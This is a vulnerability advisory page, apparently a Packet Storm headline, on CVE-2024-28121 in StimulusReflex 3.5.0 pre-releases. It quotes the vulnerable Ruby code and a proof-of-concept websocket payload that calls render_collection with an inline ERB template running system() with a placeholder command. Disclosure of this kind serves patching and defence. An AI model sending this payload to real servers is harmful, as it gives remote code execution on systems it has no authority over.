Security
Headlines
HeadlinesLatestCVEs

Headline

StimulusReflex 3.5.0 Arbitrary Code Execution

StimulusReflex versions 3.5.0 up to and including 3.5.0.rc2 and 3.5.0.pre10 suffer from an arbitrary code execution vulnerability.

Packet Storm
#vulnerability#web
StimulusReflex CVE-2024-28121Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.## Vulnerable code excerptstimulus_reflex/lib/stimulus_reflex/reflex.rb```  # Invoke the reflex action specified by `name` and run all callbacks  def process(name, *args)    run_callbacks(:process) { public_send(name, *args) }  end```stimulus_reflex/app/channels/stimulus_reflex/channel.rb```  def delegate_call_to_reflex(reflex)    method_name = reflex.method_name    arguments = reflex.data.arguments    method = reflex.method(method_name)    policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)    if policy.no_arguments?      reflex.process(method_name)    elsif policy.arguments?      reflex.process(method_name, *arguments)    else      raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")    end  end```stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb```module StimulusReflex  class ReflexMethodInvocationPolicy    attr_reader :arguments, :required_params, :optional_params    def initialize(method, arguments)      @arguments = arguments      @required_params = method.parameters.select { |(kind, _)| kind == :req }      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }    end    def no_arguments?      arguments.size == 0 && required_params.size == 0    end    def arguments?      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size    end    def unknown?      return false if no_arguments?      return false if arguments?      true    end  endend```## PayloadFind a websocket message with target and args.```\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]```

Related news

GHSA-f78j-4w3g-4q65: StimulusReflex arbitrary method call

### Summary More methods than expected can be called on reflex instances. Being able to call some of them has security implications. ### Details To invoke a reflex a websocket message of the following shape is sent: ```json { "target": "[class_name]#[method_name]", "args": [] } ``` The server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`. It then attempts to call `method_name` on the instance with the provided arguments [ref](https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83): ```ruby method = reflex.method method_name required_params = method.parameters.select { |(kind, _)| kind == :req } optional_params = method.parameters.select { |(kind, _)| kind == :opt } if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size reflex.public_send(method_name, *arguments) end ``` ...

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution